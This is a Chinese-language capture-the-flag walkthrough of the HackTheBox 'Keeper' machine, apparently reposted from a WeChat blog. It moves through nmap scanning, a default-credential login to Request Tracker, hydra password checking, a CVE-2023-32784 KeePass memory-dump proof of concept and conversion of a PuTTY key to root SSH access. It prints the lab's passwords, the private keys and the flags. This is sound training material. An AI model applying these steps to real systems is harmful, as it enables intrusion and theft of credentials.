首先扫描靶机
# nmap -sC -sV -sT -Pn 10.10.11.227Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-13 12:56 CSTNmap scan report for 10.10.11.227Host is up (0.57s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE VERSIONopen ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)ssh-hostkey:256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)open http nginx 1.18.0 (Ubuntu): nginx/1.18.0 (Ubuntu): Site doesn't have a title (text/html).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
扫描出两个端口，22跟80端口，先看80端口，进去后看到了这段话
将这个域名加入到hsots里面再打开
可以看到右下角是一个BestPractical RT系统，可以在网上搜索到默认登录的密码root：password
https://www.192-168-1-1-ip.co/router/bestpractical/rt/12338/
进去后看到上面的任务栏，有个Admin的选项，然后选择user，再选择select，可以看到两个用户
看到一个lnorgaard@keeper.htb，猜测lnorgaard就是ssh的用户，然后点击进去看到一些留言，这样就看到了ssh的密码
也可以使用hydra验证一下
# hydra -l lnorgaard -p Welcome2023! ssh://10.10.11.227Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-14 15:25:39[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task[DATA] attacking ssh://10.10.11.227:22/[22][ssh] host: 10.10.11.227 login: lnorgaard password: Welcome2023!1 of 1 target successfully completed, 1 valid password found
登录进去，成功拿到user flag：1552a28599ad6b4b1b2a44817681724
底下有个zip压缩包，将它复制到tmp，然后开python服务器，下载到本机
里面就两个文件，一个是dmp，一个是kdbx，dmp是keepass的crash文件，从上面的时间看是五月份，猜测是有CVE-2023-32784
https://www.hackplayers.com/2023/05/extraccion-de-la-contrasena-maestra-de-keepass.html
首先下载dump工具，这里我用这个工具
https://github.com/CMEPW/keepass-dump-masterkey# python3 poc.py KeePassDumpFull.dmp11:50:51,143 [.] [main] Opened KeePassDumpFull.dmpPossible password: ●,dgr●d med fl●dePossible password: ●ldgr●d med fl●dePossible password: ●`dgr●d med fl●dePossible password: ●-dgr●d med fl●dePossible password: ●'dgr●d med fl●dePossible password: ●]dgr●d med fl●dePossible password: ●Adgr●d med fl●dePossible password: ●Idgr●d med fl●dePossible password: ●:dgr●d med fl●dePossible password: ●=dgr●d med fl●dePossible password: ●_dgr●d med fl●dePossible password: ●cdgr●d med fl●dePossible password: ●Mdgr●d med fl●de
然后将这些密码用来登录一下keepass的数据库，都不行，问一下国外的大佬，原来是google一下……
这是一种食物，是不是作者喜欢吃这种麦当劳大姨妈新地，，，wdnmd的，，然后登录一下，密码是：rødgrød med fløde.
可以拿到了root的密码，显示无法登录，但是可以看到后面有个PuTTY-User-Key-File，双击查看一下
是一个ssh-rsa密钥，在网上搜索将“.ppk”文件转换为“.pem”
https://repost.aws/knowledge-center/ec2-ppk-pem-conversion
首先这堆东西写进ppk文件里面
PuTTY-User-Key-File-3: ssh-rsaEncryption: noneComment: rsa-key-20230519Public-Lines: 6AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81TEHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LMCj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1TuFVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQLxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0EtPrivate-Lines: 14AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWsOxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGzin6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1rSsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEaxHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkAAACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faDAF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGyNNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
然后输入这串命令
puttygen key.ppk -O private-openssh -o id_rsa就会得到一个id_rsa，直接登录使用id_rsa
成功拿到root flag：7188c3fc846ff8b6b5d7c2aad75bc306
-----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdPc9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPfTykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6nFSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1AMO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8JlTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOAGSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2jgZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQa8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeRRMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJTjzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPLTV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2WrxheBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhsqun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL-----END RSA PRIVATE KEY-----
原文始发于微信公众号（hades zorejt）：HTB-Keeper笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论